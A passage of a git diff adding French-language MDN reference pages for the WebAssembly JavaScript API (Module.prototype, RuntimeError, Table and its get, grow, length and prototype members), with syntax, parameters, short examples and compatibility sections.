+<p>{{Compat("javascript.builtins.WebAssembly.Module")}}</p>
+</div>
+
+<h2 id="Voir_aussi">Voir aussi</h2>
+
+<ul>
+ <li><a href="/fr/docs/WebAssembly">Le portail WebAssembly</a></li>
+ <li><a href="/fr/docs/WebAssembly/Concepts">Les concepts relatifs à WebAssembly</a></li>
+ <li><a href="/fr/docs/WebAssembly/Using_the_JavaScript_API">Utiliser l'API JavaScript WebAssembly</a></li>
+</ul>
diff --git a/files/fr/web/javascript/reference/objets_globaux/webassembly/module/prototype/index.html b/files/fr/web/javascript/reference/objets_globaux/webassembly/module/prototype/index.html
new file mode 100644
index 0000000000..a43f0d565f
--- /dev/null
+++ b/files/fr/web/javascript/reference/objets_globaux/webassembly/module/prototype/index.html
@@ -0,0 +1,68 @@
+---
+title: WebAssembly.Module.prototype
+slug: Web/JavaScript/Reference/Objets_globaux/WebAssembly/Module/prototype
+tags:
+  - Experimental
+  - JavaScript
+  - Module
+  - Propriété
+  - Prototype
+  - Reference
+  - WebAssembly
+translation_of: Web/JavaScript/Reference/Global_Objects/WebAssembly/Module
+---
+<div>{{JSRef}}</div>
+
+<p>La propriété <code><strong>WebAssembly.Module</strong></code><strong><code>.prototype</code></strong> représente le prototype du constructeur {{jsxref("WebAssembly.Module()")}}.</p>
+
+<div>{{js_property_attributes(0, 0, 0)}}</div>
+
+<h2 id="Description">Description</h2>
+
+<p>Toutes les instances de {{jsxref("WebAssembly.Module")}} héritent de <code>Module.prototype</code>. Le prototype du constructeur {{jsxref("WebAssembly.Module()")}} peut être modifié afin de modifier le comportement de toutes les instances de {{jsxref( "WebAssembly.Module")}}.</p>
+
+<h2 id="Propriétés">Propriétés</h2>
+
+<dl>
+ <dt><code>Module.prototype.constructor</code></dt>
+ <dd>Renvoie la fonction qui a créé l'instance de l'objet. Par défaut, c'est le constructeur {{jsxref("WebAssembly.Module()")}}.</dd>
+ <dt><code>Module.prototype[@@toStringTag]</code></dt>
+ <dd>La valeur initiale de la propriété <code><a href="/fr/docs/Web/JavaScript/Reference/Objets_globaux/Symbol/toStringTag">@@toStringTag</a></code> est la chaîne de caractères <code>"WebAssembly.Module"</code>.</dd>
+</dl>
+
+<h2 id="Méthodes">Méthodes</h2>
+
+<p>Aucune.</p>
+
+<h2 id="Spécifications">Spécifications</h2>
+
+<table class="standard-table">
+ <thead>
+  <tr>
+   <th scope="col">Spécification</th>
+   <th scope="col">État</th>
+   <th scope="col">Commentaires</th>
+  </tr>
+ </thead>
+ <tbody>
+  <tr>
+   <td>{{SpecName('WebAssembly JS', '#webassemblymodule-objects', 'WebAssembly.Module()')}}</td>
+   <td>{{Spec2('WebAssembly JS')}}</td>
+   <td>Brouillon de définition initiale pour WebAssembly.</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Compatibilité_des_navigateurs">Compatibilité des navigateurs</h2>
+
+<div>
+<div class="hidden">Ce tableau de compatibilité a été généré à partir de données structurées. Si vous souhaitez contribuer à ces données, n'hésitez pas à envoyer une <em>pull request</em> sur <a href="https://github.com/mdn/browser-compat-data">https://github.com/mdn/browser-compat-data</a>.</div>
+
+<p>{{Compat("javascript.builtins.WebAssembly.Module.prototype")}}</p>
+</div>
+
+<h2 id="Voir_aussi">Voir aussi</h2>
+
+<ul>
+ <li>{{jsxref("WebAssembly.Module()")}}</li>
+</ul>
diff --git a/files/fr/web/javascript/reference/objets_globaux/webassembly/runtimeerror/index.html b/files/fr/web/javascript/reference/objets_globaux/webassembly/runtimeerror/index.html
new file mode 100644
index 0000000000..b35e50e466
--- /dev/null
+++ b/files/fr/web/javascript/reference/objets_globaux/webassembly/runtimeerror/index.html
@@ -0,0 +1,119 @@
+---
+title: WebAssembly.RuntimeError()
+slug: Web/JavaScript/Reference/Objets_globaux/WebAssembly/RuntimeError
+tags:
+  - API
+  - Constructeur
+  - JavaScript
+  - Reference
+  - RuntimeError
+  - WebAssembly
+translation_of: Web/JavaScript/Reference/Global_Objects/WebAssembly/RuntimeError
+---
+<div>{{JSRef}}</div>
+
+<p>Le constructeur <code><strong>WebAssembly.RuntimeError()</strong></code> permet de créer un nouvel objet WebAssembly <code>RuntimeError</code>. C'est ce type d'exception qui est déclenchée lorsque WebAssembly définit <a href="http://webassembly.org/docs/semantics/#traps">une trappe</a>.</p>
+
+<h2 id="Syntaxe">Syntaxe</h2>
+
+<pre class="syntaxbox">new WebAssembly.RuntimeError(<var>message</var>, <var>nomFichier</var>, <var>numeroLigne</var>)</pre>
+
+<h3 id="Paramètres">Paramètres</h3>
+
+<dl>
+ <dt><code>message</code> {{optional_inline}}</dt>
+ <dd>Une description, compréhensible par un humain, de l'erreur qui s'est produite.</dd>
+ <dt><code>fileName</code> {{optional_inline}}{{non-standard_inline}}</dt>
+ <dd>Le nom du fichier qui contient le code à l'origine de l'exception.</dd>
+ <dt><code>lineNumber</code> {{optional_inline}}{{non-standard_inline}}</dt>
+ <dd>Le numéro de la ligne de code à l'origine de l'exception.</dd>
+</dl>
+
+<h2 id="Propriétés">Propriétés</h2>
+
+<p><em>Le constructeur <code>RuntimeError</code> ne contient aucune propriété qui lui soit propre. En revanche, il hérite de certaines propriétés grâce à sa chaîne de prototypes.</em></p>
+
+<dl>
+ <dt><code>WebAssembly.RuntimeError.prototype.constructor</code></dt>
+ <dd>La fonction qui a créé le prototype de l'instance.</dd>
+ <dt>{{jsxref("Error.prototype.message", "WebAssembly.RuntimeError.prototype.message")}}</dt>
+ <dd>Le message qui décrit l'erreur. Bien qu'ECMA-262 indique que chaque instance doit fournir sa propre propriété <code>message</code>, dans <a href="/fr/docs/Mozilla/Projects/SpiderMonkey">SpiderMonkey</a>, elle est héritée depuis {{jsxref("Error.prototype.message")}}.</dd>
+ <dt>{{jsxref("Error.prototype.name", "WebAssembly.RuntimeError.prototype.name")}}</dt>
+ <dd>Le nom de l'erreur. Cette propriété est héritée depuis {{jsxref("Error")}}.</dd>
+ <dt>{{jsxref("Error.prototype.fileName", "WebAssembly.RuntimeError.prototype.fileName")}}</dt>
+ <dd>Le chemin du fichier à l'origine de l'erreur. Cette propriété est héritée depuis {{jsxref("Error")}}.</dd>
+ <dt>{{jsxref("Error.prototype.lineNumber", "WebAssembly.RuntimeError.prototype.lineNumber")}}</dt>
+ <dd>Le numéro de la ligne à l'origine de l'erreur. Cette propriété est héritée depuis {{jsxref("Error")}}.</dd>
+ <dt>{{jsxref("Error.prototype.columnNumber", "WebAssembly.RuntimeError.prototype.columnNumber")}}</dt>
+ <dd>Le numéro de la colonne dans la ligne qui est à l'origine de l'erreur. Cette propriété est héritée depuis {{jsxref("Error")}}.</dd>
+ <dt>{{jsxref("Error.prototype.stack", "WebAssembly.RuntimeError.prototype.stack")}}</dt>
+ <dd>La pile d'appels à l'origine de l'erreur. Cette propriété est héritée depuis {{jsxref("Error")}}.</dd>
+</dl>
+
+<h2 id="Méthodes">Méthodes</h2>
+
+<p><em>Le constructeur <code>RuntimeError</code> ne contient aucune méthode qui lui soit propre. En revanche, il hérite de certaines méthodes grâce à sa chaîne de prototypes.</em></p>
+
+<dl>
+ <dt>{{jsxref("Error.prototype.toSource", "WebAssembly.RuntimeError.prototype.toSource()")}}</dt>
+ <dd>Cette méthode renvoie un code qui, évalué, entraînerait la même erreur. Elle est héritée via {{jsxref("Error")}}.</dd>
+ <dt>{{jsxref("Error.prototype.toString", "WebAssembly.RuntimeError.prototype.toString()")}}</dt>
+ <dd>Cette méthode renvoie une chaîne de caractères qui représente l'objet <code>Error</code>. Elle est héritée via {{jsxref("Error")}}.</dd>
+</dl>
+
+<h2 id="Exemples">Exemples</h2>
+
+<p>Dans le fragment de code qui suit, on crée une instance de <code>RuntimeError</code> et on imprime les détails de cette erreur dans la console :</p>
+
+<pre class="brush: js">try {
+  throw new WebAssembly.RuntimeError('Coucou', 'unFichier', 10);
+} catch (e) {
+  console.log(e instanceof RuntimeError); // true
+  console.log(e.message);                 // "Coucou"
+  console.log(e.name);                    // "RuntimeError"
+  console.log(e.fileName);                // "unFichier"
+  console.log(e.lineNumber);              // 10
+  console.log(e.columnNumber);            // 0
+  console.log(e.stack);                   // renvoie la pile d'appels
+                                           // à l'origine de l'erreur
+}</pre>
+
+<h2 id="Spécifications">Spécifications</h2>
+
+<table class="standard-table">
+ <thead>
+  <tr>
+   <th scope="col">Spécification</th>
+   <th scope="col">État</th>
+   <th scope="col">Commentaires</th>
+  </tr>
+ </thead>
+ <tbody>
+  <tr>
+   <td>{{SpecName('WebAssembly JS', '#constructor-properties-of-the-webassembly-object', 'WebAssembly constructors')}}</td>
+   <td>{{Spec2('WebAssembly JS')}}</td>
+   <td>Brouillon de définition initial pour WebAssembly.</td>
+  </tr>
+  <tr>
+   <td>{{SpecName('ESDraft', '#sec-native-error-types-used-in-this-standard', 'NativeError')}}</td>
+   <td>{{Spec2('ESDraft')}}</td>
+   <td>Définition des types standards <code>NativeError</code>.</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Compatibilité_des_navigateurs">Compatibilité des navigateurs</h2>
+
+<div>
+<div class="hidden">Ce tableau de compatibilité a été généré à partir de données structurées. Si vous souhaitez contribuer à ces données, n'hésitez pas à envoyer une <em>pull request</em> sur <a href="https://github.com/mdn/browser-compat-data">https://github.com/mdn/browser-compat-data</a>.</div>
+
+<p>{{Compat("javascript.builtins.WebAssembly.RuntimeError")}}</p>
+</div>
+
+<h2 id="Voir_aussi">Voir aussi</h2>
+
+<ul>
+ <li><a href="/fr/docs/WebAssembly">Le portail WebAssembly</a></li>
+ <li><a href="/fr/docs/WebAssembly/Concepts">Les concepts relatifs à WebAssembly</a></li>
+ <li><a href="/fr/docs/WebAssembly/Using_the_JavaScript_API">Utiliser l'API JavaScript WebAssembly</a></li>
+</ul>
diff --git a/files/fr/web/javascript/reference/objets_globaux/webassembly/table/get/index.html b/files/fr/web/javascript/reference/objets_globaux/webassembly/table/get/index.html
new file mode 100644
index 0000000000..25c8ec97db
--- /dev/null
+++ b/files/fr/web/javascript/reference/objets_globaux/webassembly/table/get/index.html
@@ -0,0 +1,83 @@
+---
+title: WebAssembly.Table.prototype.get()
+slug: Web/JavaScript/Reference/Objets_globaux/WebAssembly/Table/get
+tags:
+  - API
+  - JavaScript
+  - Méthode
+  - Reference
+  - WebAssembly
+  - table
+translation_of: Web/JavaScript/Reference/Global_Objects/WebAssembly/Table/get
+---
+<div>{{JSRef}}</div>
+
+<p>La méthode <code><strong>get()</strong></code>, rattachéee au prototype de  {{jsxref("WebAssembly.Table()")}}, permet de récupérer une référence à une fonction stockée dans le tableau WebAssembly grâce à sa position. dans le tableau.</p>
+
+<h2 id="Syntaxe">Syntaxe</h2>
+
+<pre class="syntaxbox">var funcRef = table.get(<em>index</em>);
+</pre>
+
+<h3 id="Paramètres">Paramètres</h3>
+
+<dl>
+ <dt><code>index</code></dt>
+ <dd>L'index de la référence de fonction qu'on souhaite récupérer.</dd>
+</dl>
+
+<h3 id="Valeur_de_retour">Valeur de retour</h3>
+
+<p>Une référence de fonction, c'est-à-dire <a href="/fr/docs/WebAssembly/Exported_functions">une fonction WebAssembly exportée</a> qui est une enveloppe JavaScript pour manipuler la fonction WebAssembly sous-jacente.</p>
+
+<h3 id="Exceptions">Exceptions</h3>
+
+<p>Si <code>index</code> est supérieur ou égal à {{jsxref("WebAssembly/Table/length","Table.prototype.length")}}, la méthode lèvera une exception {{jsxref("RangeError")}}.</p>
+
+<h2 id="Exemples">Exemples</h2>
+
+<p>Dans l'exemple suivant (cf. le fichier <code><a href="https://github.com/mdn/webassembly-examples/blob/master/js-api-examples/table.html">table.html</a></code> sur GitHub ainsi que <a href="https://mdn.github.io/webassembly-examples/js-api-examples/table.html">le résultat obtenu</a>), on compile et on instancie le <em>bytecode</em> chargé, <code>table.wasm</code>, grâce à la méthode {{jsxref("WebAssembly.instantiateStreaming()")}}. On récupère ensuite les références stockées dans le tableau d'export.</p>
+
+<pre class="brush: js">WebAssembly.instantiateStreaming(fetch('table.wasm'))
+.then(function(obj) {
+  var tbl = obj.instance.exports.tbl;
+  console.log(tbl.get(0)());  // 13
+  console.log(tbl.get(1)());  // 42
+});</pre>
+
+<p>On note ici qu'il est nécessaire d'avoir un deuxième opérateur d'appel après l'accesseur pour récupérer le valeur stockée dans la référence (autrement dit, on utilise <code>get(0)()</code> plutôt que <code>get(0)</code>). La valeur exportée est une fonction plutôt qu'une valeur simple.</p>
+
+<h2 id="Spécifications">Spécifications</h2>
+
+<table class="standard-table">
+ <thead>
+  <tr>
+   <th scope="col">Spécification</th>
+   <th scope="col">État</th>
+   <th scope="col">Commentaires</th>
+  </tr>
+ </thead>
+ <tbody>
+  <tr>
+   <td>{{SpecName('WebAssembly JS', '#webassemblytableprototypeget', 'get()')}}</td>
+   <td>{{Spec2('WebAssembly JS')}}</td>
+   <td>Brouillon de définition initial pour WebAssembly.</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Compatibilité_des_navigateurs">Compatibilité des navigateurs</h2>
+
+<div>
+
+
+<p>{{Compat("javascript.builtins.WebAssembly.Table.get")}}</p>
+</div>
+
+<h2 id="Voir_aussi">Voir aussi</h2>
+
+<ul>
+ <li><a href="/fr/docs/WebAssembly">Le portail WebAssembly</a></li>
+ <li><a href="/fr/docs/WebAssembly/Concepts">Les concepts relatifs à WebAssembly</a></li>
+ <li><a href="/fr/docs/WebAssembly/Using_the_JavaScript_API">Utiliser l'API JavaScript WebAssembly</a></li>
+</ul>
diff --git a/files/fr/web/javascript/reference/objets_globaux/webassembly/table/grow/index.html b/files/fr/web/javascript/reference/objets_globaux/webassembly/table/grow/index.html
new file mode 100644
index 0000000000..4e90a70f22
--- /dev/null
+++ b/files/fr/web/javascript/reference/objets_globaux/webassembly/table/grow/index.html
@@ -0,0 +1,83 @@
+---
+title: WebAssembly.Table.prototype.grow()
+slug: Web/JavaScript/Reference/Objets_globaux/WebAssembly/Table/grow
+tags:
+  - API
+  - JavaScript
+  - Méthode
+  - Reference
+  - WebAssembly
+  - table
+translation_of: Web/JavaScript/Reference/Global_Objects/WebAssembly/Table/grow
+---
+<div>{{JSRef}}</div>
+
+<p>La méthode <code><strong>grow()</strong></code>, rattachée au prototype de {{jsxref("WebAssembly.Table")}}, permet d'augmenter la taille du tableau WebAssembly d'un nombre d'éléments donné.</p>
+
+<h2 id="Syntaxe">Syntaxe</h2>
+
+<pre class="syntaxbox">table.grow(<em>nombre</em>);
+</pre>
+
+<h3 id="Paramètres">Paramètres</h3>
+
+<dl>
+ <dt><code>nombre</code></dt>
+ <dd>Le nombre d'éléments qu'on souhaite ajouter au tableau.</dd>
+</dl>
+
+<h3 id="Valeur_de_retour">Valeur de retour</h3>
+
+<p>La taille du tableau avant l'agrandissement.</p>
+
+<h3 id="Exceptions">Exceptions</h3>
+
+<p>Si l'opération <code>grow()</code> échoue, pour quelque raison que ce soit, une exception {{jsxref("RangeError")}} sera levée.</p>
+
+<h2 id="Exemples">Exemples</h2>
+
+<p>Dans l'exemple qui suit, on crée une instance de <code>Table</code> pour représenter un tableau WebAssembly avec une taille initiale de 2 et une taille maximale de 10.</p>
+
+<pre class="brush: js">var table = new WebAssembly.Table({ element: "anyfunc", initial: 2, maximum: 10 });</pre>
+
+<p>On étend ensuite le tableau d'une unité en utilisant la méthode <code>grow()</code> :</p>
+
+<pre class="brush: js">console.log(table.length);   // "2"
+console.log(table.grow(1));  // "2"
+console.log(table.length);   // "3"
+</pre>
+
+<h2 id="Spécifications">Spécifications</h2>
+
+<table class="standard-table">
+ <thead>
+  <tr>
+   <th scope="col">Spécification</th>
+   <th scope="col">État</th>
+   <th scope="col">Commentaires</th>
+  </tr>
+ </thead>
+ <tbody>
+  <tr>
+   <td>{{SpecName('WebAssembly JS', '#webassemblytableprototypegrow', 'grow()')}}</td>
+   <td>{{Spec2('WebAssembly JS')}}</td>
+   <td>Brouillon de définition initiale pour WebAssembly.</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Compatibilité_des_navigateurs">Compatibilité des navigateurs</h2>
+
+<div>
+<div class="hidden">Ce tableau de compatibilité a été généré à partir de données structurées. Si vous souhaitez contribuer à ces données, n'hésitez pas à envoyer une <em>pull request</em> sur <a href="https://github.com/mdn/browser-compat-data">https://github.com/mdn/browser-compat-data</a>.</div>
+
+<p>{{Compat("javascript.builtins.WebAssembly.Table.grow")}}</p>
+</div>
+
+<h2 id="Voir_aussi">Voir aussi</h2>
+
+<ul>
+ <li><a href="/fr/docs/WebAssembly">Le portail WebAssembly</a></li>
+ <li><a href="/fr/docs/WebAssembly/Concepts">Les concepts relatifs à WebAssembly</a></li>
+ <li><a href="/fr/docs/WebAssembly/Using_the_JavaScript_API">Utiliser l'API JavaScript WebAssembly</a></li>
+</ul>
diff --git a/files/fr/web/javascript/reference/objets_globaux/webassembly/table/index.html b/files/fr/web/javascript/reference/objets_globaux/webassembly/table/index.html
new file mode 100644
index 0000000000..ab26074ab6
--- /dev/null
+++ b/files/fr/web/javascript/reference/objets_globaux/webassembly/table/index.html
@@ -0,0 +1,137 @@
+---
+title: WebAssembly.Table()
+slug: Web/JavaScript/Reference/Objets_globaux/WebAssembly/Table
+tags:
+  - API
+  - Constructeur
+  - JavaScript
+  - Reference
+  - WebAssembly
+  - table
+translation_of: Web/JavaScript/Reference/Global_Objects/WebAssembly/Table
+---
+<div>{{JSRef}}</div>
+
+<p>Le constructeur <code><strong>WebAssembly.Table()</strong></code> permet de créer un nouvel objet <code>Table</code>.</p>
+
+<p>Cet objet est une enveloppe JavaScript qui représente un tableau WebAssembly et qui contient des références à des fonctions. Un tableau créé en JavaScript ou dans du code WebAssembly sera accessible et modifiable depuis du code JavaScript et depuis du code WebAssembly.</p>
+
+<div class="note">
+<p><strong>Note :</strong> Actuellement, les tableaux WebAssembly peuvent uniquement stocker des références à des fonctions. Cette fonctionnalité sera vraisemblablement étendue par la suite.</p>
+</div>
+
+<h2 id="Syntaxe">Syntaxe</h2>
+
+<pre class="syntaxbox">var monTableau = new WebAssembly.Table(descripteurTableau);</pre>
+
+<h3 id="Paramètres">Paramètres</h3>
+
+<dl>
+ <dt><code>descripteurTableau</code></dt>
+ <dd>Un objet composé des propriétés qui suivent :
+ <dl>
+  <dt><code>element</code></dt>
+  <dd>Une chaîne de caractères qui représente le type de référence enregistrée dans le tableau. Actuellement, la seule valeur possible est <code>"anyfunc"</code> (pour indiquer des fonctions).</dd>
+  <dt><code>initial</code></dt>
+  <dd>La longueur initiale du tableau WebAssembly. Cela correspond au nombre d'éléments contenus dans le tableau.</dd>
+  <dt><code>maximum {{optional_inline}}</code></dt>
+  <dd>La taille maximale que pourra avoir tableau WebAssembly s'il est étendu.</dd>
+ </dl>
+ </dd>
+</dl>
+
+<h3 id="Exceptions">Exceptions</h3>
+
+<ul>
+ <li>Si <code>tableDescriptor</code> n'est pas un objet, une exception {{jsxref("TypeError")}} sera levée.</li>
+ <li>Si <code>maximum</code> est défini et est inférieur à <code>initial</code>, une exception {{jsxref("RangeError")}} sera levée.</li>
+</ul>
+
+<h2 id="Instances_de_Table">Instances de <code>Table</code></h2>
+
+<p>Toutes les instances <code>Table</code> héritent des propriétés <a href="/fr/docs/Web/JavaScript/Reference/Objets_globaux/WebAssembly/Table/prototype">du prototype du constructeur</a> <code>Table()</code>. Ce dernier peut être utilisé afin de modifier l'ensemble des instances <code>Table</code>.</p>
+
+<h3 id="Propriétés">Propriétés</h3>
+
+<dl>
+ <dt><code>Table.prototype.constructor</code></dt>
+ <dd>Renvoie la fonction qui a créé l'instance. Par défaut, c'est le constructeur {{jsxref("WebAssembly.Table()")}}.</dd>
+ <dt>{{jsxref("WebAssembly/Table/length","Table.prototype.length")}}</dt>
+ <dd>Renvoie la longueur du tableau, c'est-à-dire le nombre de références qui sont enregistrées dans le tableau.</dd>
+</dl>
+
+<h3 id="Méthodes">Méthodes</h3>
+
+<dl>
+ <dt>{{jsxref("WebAssembly/Table/get","Table.prototype.get()")}}</dt>
+ <dd>Une fonction d'accès qui permet d'obtenir l'élément du tableau situé à une position donnée.</dd>
+ <dt>{{jsxref("WebAssembly/Table/grow","Table.prototype.grow()")}}</dt>
+ <dd>Cette méthode permet d'augmenter la taille du tableau <code>Tabl</code><code>e</code> d'un incrément donné.</dd>
+ <dt>{{jsxref("WebAssembly/Table/set","Table.prototype.set()")}}</dt>
+ <dd>Cette méthode permet de modifier un élément du tableau situé à une position donnée.</dd>
+</dl>
+
+<h2 id="Exemples">Exemples</h2>
+
+<p>Dans l'exemple qui suit (tiré du fichier <a href="https://github.com/mdn/webassembly-examples/blob/master/js-api-examples/table2.html">table2.html</a> et qui dispose <a href="https://mdn.github.io/webassembly-examples/js-api-examples/table2.html">d'une démonstration</a>), on crée une nouvelle instance d'un tableau WebAssembly avec une taille initiale permettant de stocker 2 références. Ensuite, on imprime la longueur du tableau et le contenu des deux éléments (obtenus grâce à la méthode {{jsxref("WebAssembly/Table/get", "Table.prototype.get()")}} afin de montrer que la longueur vaut 2 et que le tableau ne contient encore aucune référence de fonction (pour les deux positions, on a la valeur {{jsxref("null")}}).</p>
+
+<pre class="brush: js">var tbl = new WebAssembly.Table({initial:2, element:"anyfunc"});
+console.log(tbl.length);
+console.log(tbl.get(0));
+console.log(tbl.get(1));</pre>
+
+<p>Ensuite, on crée un objet d'import qui contient une référence au tableau :</p>
+
+<pre class="brush: js">var importObj = {
+  js: {
+    tbl:tbl
+  }
+};</pre>
+
+<p>Enfin, on charge et on instancie un module WebAssembly (table2.wasm) grâce à la fonction {{jsxref("WebAssembly.instantiateStreaming()")}}. Le module <code>table2.wasm</code> a ajouté deux références de fonctions (cf. <a href="https://github.com/mdn/webassembly-examples/blob/0991effbbf2e2cce38a7dbadebd2f3495e3f4e07/js-api-examples/table2.wat">sa représentation textuelle</a>). Chacune de ces fonctions fournit une valeur simple :</p>
+
+<pre class="brush: js">WebAssembly.instantiateStreaming(fetch('table2.wasm'), importObject)
+.then(function(obj) {
+  console.log(tbl.length);   // "2"
+  console.log(tbl.get(0)()); // "42"
+  console.log(tbl.get(1)()); // "83"
+});</pre>
+
+<p>On voit ici qu'il faut d'abord récupérer la fonction puis effectuer une invocation pour obtenir la valeur correspondante à partir de l'accesseur (autrement dit, on écrit <code>get(0)()</code> plutôt que <code>get(0)</code> pour obtenir le résultat de la fonction) .</p>
+
+<p>Dans cet exemple, on voit comment créer et manipuler le tableau depuis du code JavaScript mais ce même tableau est également accessible depuis l'instance WebAssembly.</p>
+
+<h2 id="Spécifications">Spécifications</h2>
+
+<table class="standard-table">
+ <thead>
+  <tr>
+   <th scope="col">Spécification</th>
+   <th scope="col">État</th>
+   <th scope="col">Commentaires</th>
+  </tr>
+ </thead>
+ <tbody>
+  <tr>
+   <td>{{SpecName('WebAssembly JS', '#webassemblytable-objects', 'Table')}}</td>
+   <td>{{Spec2('WebAssembly JS')}}</td>
+   <td>Brouillon de définition initial pour WebAssembly.</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Compatibilité_des_navigateurs">Compatibilité des navigateurs</h2>
+
+<div>
+<div class="hidden">Ce tableau de compatibilité a été généré à partir de données structurées. Si vous souhaitez contribuer à ces données, n'hésitez pas à envoyer une <em>pull request</em> sur <a href="https://github.com/mdn/browser-compat-data">https://github.com/mdn/browser-compat-data</a>.</div>
+
+<p>{{Compat("javascript.builtins.WebAssembly.Table")}}</p>
+</div>
+
+<h2 id="Voir_aussi">Voir aussi</h2>
+
+<ul>
+ <li><a href="/fr/docs/WebAssembly">Le portail WebAssembly</a></li>
+ <li><a href="/fr/docs/WebAssembly/Concepts">Les concepts relatifs à WebAssembly</a></li>
+ <li><a href="/fr/docs/WebAssembly/Using_the_JavaScript_API">Utiliser l'API JavaScript WebAssembly</a></li>
+</ul>
diff --git a/files/fr/web/javascript/reference/objets_globaux/webassembly/table/length/index.html b/files/fr/web/javascript/reference/objets_globaux/webassembly/table/length/index.html
new file mode 100644
index 0000000000..d573097bc0
--- /dev/null
+++ b/files/fr/web/javascript/reference/objets_globaux/webassembly/table/length/index.html
@@ -0,0 +1,68 @@
+---
+title: WebAssembly.Table.prototype.length
+slug: Web/JavaScript/Reference/Objets_globaux/WebAssembly/Table/length
+tags:
+  - API
+  - JavaScript
+  - Propriété
+  - Reference
+  - WebAssembly
+  - table
+translation_of: Web/JavaScript/Reference/Global_Objects/WebAssembly/Table/length
+---
+<div>{{JSRef}}</div>
+
+<p>La propriété <code><strong>length</strong></code>, rattachée au prototype de l'objet {{jsxref("WebAssembly.Table")}}, renvoie la longueur du tableau WebAssembly, c'est-à-dire le nombre d'éléments qui y sont stockées.</p>
+
+<h2 id="Syntaxe">Syntaxe</h2>
+
+<pre class="syntaxbox">table.length;
+</pre>
+
+<h2 id="Exemples">Exemples</h2>
+
+<p>Avec l'instruction qui suit, on crée un tableau WebAssembly avec une taille initiale de 2 éléments et avec une taille maximale de 10.</p>
+
+<pre class="brush: js">var table = new WebAssembly.Table({ element: "anyfunc", initial: 2, maximum: 10 });</pre>
+
+<p>On peut ensuite étendre le tableau d'un élément :</p>
+
+<pre class="brush: js">console.log(table.length);   // "2"
+console.log(table.grow(1));  // "2"
+console.log(table.length);   // "3"
+</pre>
+
+<h2 id="Spécifications">Spécifications</h2>
+
+<table class="standard-table">
+ <thead>
+  <tr>
+   <th scope="col">Spécification</th>
+   <th scope="col">État</th>
+   <th scope="col">Commentaires</th>
+  </tr>
+ </thead>
+ <tbody>
+  <tr>
+   <td>{{SpecName('WebAssembly JS', '#webassemblytableprototypelength', 'length')}}</td>
+   <td>{{Spec2('WebAssembly JS')}}</td>
+   <td>Brouillon de définition initiale pour WebAssembly.</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Compatibilité_des_navigateurs">Compatibilité des navigateurs</h2>
+
+<div>
+<div class="hidden">Ce tableau de compatibilité a été généré à partir de données structurées. Si vous souhaitez contribuer à ces données, n'hésitez pas à envoyer une <em>pull request</em> sur <a href="https://github.com/mdn/browser-compat-data">https://github.com/mdn/browser-compat-data</a>.</div>
+
+<p>{{Compat("javascript.builtins.WebAssembly.Table.length")}}</p>
+</div>
+
+<h2 id="Voir_aussi">Voir aussi</h2>
+
+<ul>
+ <li><a href="/fr/docs/WebAssembly">Le portail WebAssembly</a></li>
+ <li><a href="/fr/docs/WebAssembly/Concepts">Les concepts relatifs à WebAssembly</a></li>
+ <li><a href="/fr/docs/WebAssembly/Using_the_JavaScript_API">Utiliser l'API JavaScript WebAssembly</a></li>
+</ul>
diff --git a/files/fr/web/javascript/reference/objets_globaux/webassembly/table/prototype/index.html b/files/fr/web/javascript/reference/objets_globaux/webassembly/table/prototype/index.html
new file mode 100644
index 0000000000..77429edc50
--- /dev/null
+++ b/files/fr/web/javascript/reference/objets_globaux/webassembly/table/prototype/index.html
@@ -0,0 +1,75 @@
+---
+title: WebAssembly.Table.prototype
+slug: Web/JavaScript/Reference/Objets_globaux/WebAssembly/Table/prototype
+tags:
+  - Experimental
+  - JavaScript
+  - Propriété
+  - Prototype
+  - Reference
+  - WebAssembly
+translation_of: Web/JavaScript/Reference/Global_Objects/WebAssembly/Table
+---
+<div>{{JSRef}} {{SeeCompatTable}}</div>
+
+<p>La propriété <code><strong>WebAssembly.Table</strong></code><strong><code>.prototype</code></strong> représente le prototype du constructeur {{jsxref("WebAssembly.Table()")}}.</p>
+
+<div>{{js_property_attributes(0, 0, 0)}}</div>
+
+<h2 id="Description">Description</h2>
+
+<p>Toutes les instances de {{jsxref("WebAssembly.Table")}} héritent de <code>Table.prototype</code>. Le prototype du constructeur {{jsxref("WebAssembly.Table()")}} peut être modifié afin de modifier le comportement de toutes les instances {{jsxref( "WebAssembly.Table")}}.</p>
+
+<h2 id="Propriétés">Propriétés</h2>
+
+<dl>
+ <dt><code>Table.prototype.constructor</code></dt>
+ <dd>Renvoie la fonction qui a créé l'instance de l'objet. Par défaut, c'est le constructeur {{jsxref("WebAssembly.Table()")}}.</dd>
+ <dt>{{jsxref("WebAssembly/Table/length","Table.prototype.length")}}</dt>
+ <dd>Renvoie la taille du tableau, c'est-à-dire le nombre de références enregistrées dans le tableau.</dd>
+ <dt>
+ <h2 id="Méthodes">Méthodes</h2>
+ </dt>
+ <dt>{{jsxref("WebAssembly/Table/get","Table.prototype.get()")}}</dt>
+ <dd>Une fonction accesseur qui permet d'obtenir une référence à partir d'une position dans le tableau.</dd>
+ <dt>{{jsxref("WebAssembly/Table/grow","Table.prototype.grow()")}}</dt>
+ <dd>Cette méthode permet d'augmenter la taille de l'instance de <code>Table</code> d'un nombre donné de référence.</dd>
+ <dt>{{jsxref("WebAssembly/Table/set","Table.prototype.set()")}}</dt>
+ <dd>Cette méthode permet de changer une référence située à une position donnée dans le tableau.</dd>
+</dl>
+
+<h2 id="Spécifications">Spécifications</h2>
+
+<table class="standard-table">
+ <thead>
+  <tr>
+   <th scope="col">Spécification</th>
+   <th scope="col">État</th>
+   <th scope="col">Commentaires</th>
+  </tr>
+ </thead>
+ <tbody>
+  <tr>
+   <td>{{SpecName('WebAssembly JS', '#webassemblytable-objects', 'Table')}}</td>
+   <td>{{Spec2('WebAssembly JS')}}</td>
+   <td>Brouillon de définition initiale pour WebAssembly.</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Compatibilité_des_navigateurs">Compatibilité des navigateurs</h2>
+
+<div>
+<div class="hidden">Ce tableau de compatibilité a été généré à partir de données structurées. Si vous souhaitez contribuer à ces données, n'hésitez pas à envoyer une <em>pull request</em> sur <a href="https://github.com/mdn/browser-compat-data">https://github.com/mdn/browser-compat-data</a>.</div>
+
+<p>{{Compat("javascript.builtins.WebAssembly.Table.prototype")}}</p>
+</div>
+
+<h2 id="Voir_aussi">Voir aussi</h2>
+
